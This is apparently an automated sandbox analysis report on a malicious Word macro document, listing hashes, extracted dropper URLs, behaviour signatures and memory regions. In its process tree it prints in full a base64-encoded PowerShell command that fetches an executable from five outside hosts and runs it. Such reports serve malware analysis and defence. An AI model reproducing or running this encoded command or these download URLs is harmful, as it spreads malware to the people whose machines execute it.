Analysis

  • max time kernel
    113s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-06-2024 19:43

General

  • Target

    0f4b4224e8cf4f1d17e9ddbbc1d2754f_JaffaCakes118.doc

  • Size

    249KB

  • MD5

    0f4b4224e8cf4f1d17e9ddbbc1d2754f

  • SHA1

    8af07c2af3c4777dd4778ef05caa97c2c063f158

  • SHA256

    1a931c6fb2d0fc289a63c049465e1d54be273981aa9571f995aa87fdd13b0b4f

  • SHA512

    94633ab394e3482b1f88adb6ac1e81699526e6d5ed168aa3bce70e3511dfaf597524c241a47c89fadd817a2138f6d4ebeac9f6acc75cbcfb30a9259cd57cf44c

  • SSDEEP

    6144:P77HUUUUUUUUUUUUUUUUUUUT52V6BWLshhh+afk0SIhIvg+ZGPr:P77HUUUUUUUUUUUUUUUUUUUTChLsh7+0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://decospirit.com/D5ubP/

exe.dropper

http://databacknow.com/logos/xsDJR/

exe.dropper

http://thienuy.com/wp-snapshots/0kmQW/

exe.dropper

http://deparcel.com/catalog/Mg/

exe.dropper

http://deselbybowen.com/LAO3/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0f4b4224e8cf4f1d17e9ddbbc1d2754f_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3300
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -enc JABuAEQAQgA0AEQAQQB3AFoAPQAoACcAdwBBAEEANABEACcAKwAnAEIAQgBVACcAKQA7ACQAYwBaAEEAUQBBAGsAQgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABtAEEAQQBDADEAVQA9ACgAJwBoAHQAdABwADoALwAvACcAKwAnAGQAZQBjAG8AcwAnACsAJwBwAGkAcgAnACsAJwBpAHQALgBjAG8AbQAvACcAKwAnAEQAJwArACcANQB1ACcAKwAnAGIAUAAvAEAAJwArACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBkAGEAdABhAGIAYQBjACcAKwAnAGsAbgBvAHcALgBjAG8AJwArACcAbQAvAGwAbwBnAG8AcwAvAHgAcwAnACsAJwBEAEoAUgAnACsAJwAvAEAAaAB0AHQAcAAnACsAJwA6AC8ALwB0AGgAaQBlACcAKwAnAG4AdQB5AC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAALQBzACcAKwAnAG4AYQBwAHMAaABvAHQAcwAvACcAKwAnADAAJwArACcAawBtAFEAVwAvAEAAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBkAGUAcABhACcAKwAnAHIAYwBlAGwALgBjACcAKwAnAG8AJwArACcAbQAvAGMAYQB0ACcAKwAnAGEAbABvACcAKwAnAGcALwBNAGcALwAnACsAJwBAAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAZABlACcAKwAnAHMAZQBsAGIAJwArACcAeQBiAG8AdwBlAG4ALgBjAG8AbQAvACcAKwAnAEwAQQBPACcAKwAnADMAJwArACcALwAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJAB6AFUARAB3AEEAeABDAD0AKAAnAEgARABYAEcAWAAnACsAJwBBAFUAJwApADsAJABtAEEAQgBEAFUAWgAgAD0AIAAoACcAMQAxACcAKwAnADMAJwApADsAJABaAEMAQQBBAEEAQQA9ACgAJwBIAGMAYwBBAGMAQgAnACsAJwBBACcAKQA7ACQAWgBVAEEAWAB3AEEAQQBCAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABtAEEAQgBEAFUAWgArACgAJwAuAGUAJwArACcAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAUQBVAEEAQQBBACAAaQBuACAAJABtAEEAQQBDADEAVQApAHsAdAByAHkAewAkAGMAWgBBAFEAQQBrAEIALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAWgBRAFUAQQBBAEEALAAgACQAWgBVAEEAWAB3AEEAQQBCACkAOwAkAE8ARABjAEQAWAB3AD0AKAAnAHMAQQBEACcAKwAnAF8AJwArACcAQQBBACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAFoAVQBBAFgAdwBBAEEAQgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAFoAVQBBAFgAdwBBAEEAQgA7ACQAaQBfAFEAQQBvAEEAMQBBAD0AKAAnAEIARABEAEQAQQBRAF8AJwArACcARAAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdQBHADEAQQA0AFUAXwBBAD0AKAAnAGwAQQBBACcAKwAnAGsAQQBEACcAKQA7AA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4920

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dhj4quad.4a2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3300-10-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-8-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-1-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-17-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-5-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-40-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-7-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-16-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-11-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-0-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-12-0x00007FFE653A0000-0x00007FFE653B0000-memory.dmp

    Filesize

    64KB

  • memory/3300-9-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-13-0x00007FFE653A0000-0x00007FFE653B0000-memory.dmp

    Filesize

    64KB

  • memory/3300-14-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-15-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-19-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-21-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-20-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-22-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-18-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-4-0x00007FFEA7B2D000-0x00007FFEA7B2E000-memory.dmp

    Filesize

    4KB

  • memory/3300-3-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-6-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-46-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-45-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-49-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-48-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-97-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-93-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-2-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-68-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-69-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-70-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-71-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/3300-96-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-95-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/3300-94-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

    Filesize

    64KB

  • memory/4920-75-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/4920-72-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB

  • memory/4920-56-0x00000224E3900000-0x00000224E3922000-memory.dmp

    Filesize

    136KB

  • memory/4920-50-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

    Filesize

    2.0MB